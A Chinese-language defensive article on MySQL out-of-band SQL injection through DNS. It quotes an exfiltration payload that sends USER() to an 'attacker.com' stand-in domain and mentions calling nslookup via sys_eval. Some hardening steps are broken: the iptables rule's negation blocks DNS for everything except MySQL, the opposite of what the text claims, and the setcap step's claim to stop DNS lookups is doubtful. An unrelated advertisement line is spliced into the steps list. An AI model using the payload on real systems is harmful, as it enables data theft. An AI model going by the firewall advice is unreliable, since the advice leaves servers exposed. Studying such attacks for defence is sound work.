mysql的oob注入依赖dns因nslookup默认存在、waf难拦截且无状态难溯源，防御需禁用udf、限制mysql网络权限并防火墙阻断出向dns。
带外通道注入（Out-of-Band SQL Injection，OOB）是高权限、低交互场景下最危险的 SQL 注入变种之一——当传统回显或布尔/时间盲注不可用时，攻击者会诱导数据库主动向外发起 DNS 查询或 HTTP 请求，把数据“偷运”出去。MySQL 默认不支持 DNS 外带（LOAD_FILE 和 SELECT ... INTO OUTFILE 也不走 DNS），但一旦启用 lib_mysqludf_sys、sys_exec 等第三方 UDF，或使用 MySQL 8.0+ 的 INFORMATION_SCHEMA.PLUGINS 配合 UDF 加载，风险陡增。更关键的是：**MySQL 本身不原生支持 SELECT ... INTO DUMPFILE 发起网络请求，但攻击者可利用 UDF 或服务端环境（如 PHP 的 exec("nslookup ...")）间接达成 OOB 效果**。防御核心不是“堵住某个函数”，而是切断数据库向外发起任意网络调用的能力。
为什么 MySQL 的 OOB 注入常依赖 DNS 而非 HTTP
MySQL 客户端协议不支持直接发起 HTTP 请求；但 DNS 查询可通过 LOAD_FILE(CONCAT('/etc/', 'hosts')) 类路径操作触发解析（极少见），更多是靠 UDF 或配合应用层代码实现。真正高频的 OOB 手段其实是：攻击者在注入点中构造类似 SELECT LOAD_FILE(CONCAT('\\', USER(), '.attacker.com\a')) 的 UNC 路径（仅 Windows + SMB 共享有效），或利用 sys_eval 执行系统命令调用 nslookup / curl。所以 DNS 成为首选，因：nslookup 在大多数服务器默认存在，且 DNS 请求不易被 WAF 拦截，无状态、难溯源。
禁用 MySQL 发起 DNS 查询的实操要点
MySQL 本身没有开关直接禁止 DNS 解析，但可通过以下方式实质性阻断：
免费 DNS 与邮件安全分析（IntoDNS.ai）：包括 DNSSEC、SPF、DKIM、DMARC、MTA-STS、BIMI、SMTP STARTTLS、FCrDNS、黑名单、发件人要求及报告。
- 移除所有非必要 UDF：运行
SELECT * FROM mysql.func WHERE name LIKE '%sys%'，对返回结果逐个执行DROP FUNCTION func_name；确认无残留后，删除/usr/lib/mysql/plugin/lib_mysqludf_sys.so（Linux）或对应 DLL 文件 - 限制 MySQL 进程网络能力：用
setcap 'cap_net_raw-ep' /usr/sbin/mysqld剥夺原始套接字权限（Linux），或在容器中以--cap-drop=NET_RAW启动；该操作不影响本地通信，但可阻止nslookup、curl等子进程发起 DNS 查询 - 防火墙拦截出向 DNS：在服务器级配置
iptables -A OUTPUT -p udp --dport 53 -m owner ! --uid-owner mysql -j DROP，确保只有指定 UID（如 systemd-resolved）能发 DNS，MySQL 进程被排除在外
如何验证应用层是否意外开启 OOB 通道
很多开发者没意识到：自己写的日志函数、错误处理或调试接口，可能成为 OOB 的跳板。重点检查：
- PHP 中是否用了
system()、exec()、shell_exec()包裹用户输入，哪怕只用于生成临时文件名 - Java 应用是否启用了
Runtime.getRuntime().exec()且未校验参数，尤其在@Controller层处理id或filename参数时 - Node.js 的
require('child_process').execSync()是否传入了未过滤的req.query字段 - 任何调用
curl、wget、nslookup的脚本，只要参数含用户可控字段，就等于给 OOB 开了后门
OOB 注入最难察觉的地方在于：它不依赖页面回显，也不需要大量时间盲注轮询——一次成功的 DNS 查询，可能就把整张表的哈希值编码后发往攻击者控制的域名。而多数 WAF 规则只盯 UNION SELECT 或 sleep(，对 LOAD_FILE('\x') 或 sys_eval('nslookup...') 完全无感。真正的防线不在 SQL 层，而在操作系统能力收敛与应用进程最小权限控制上。
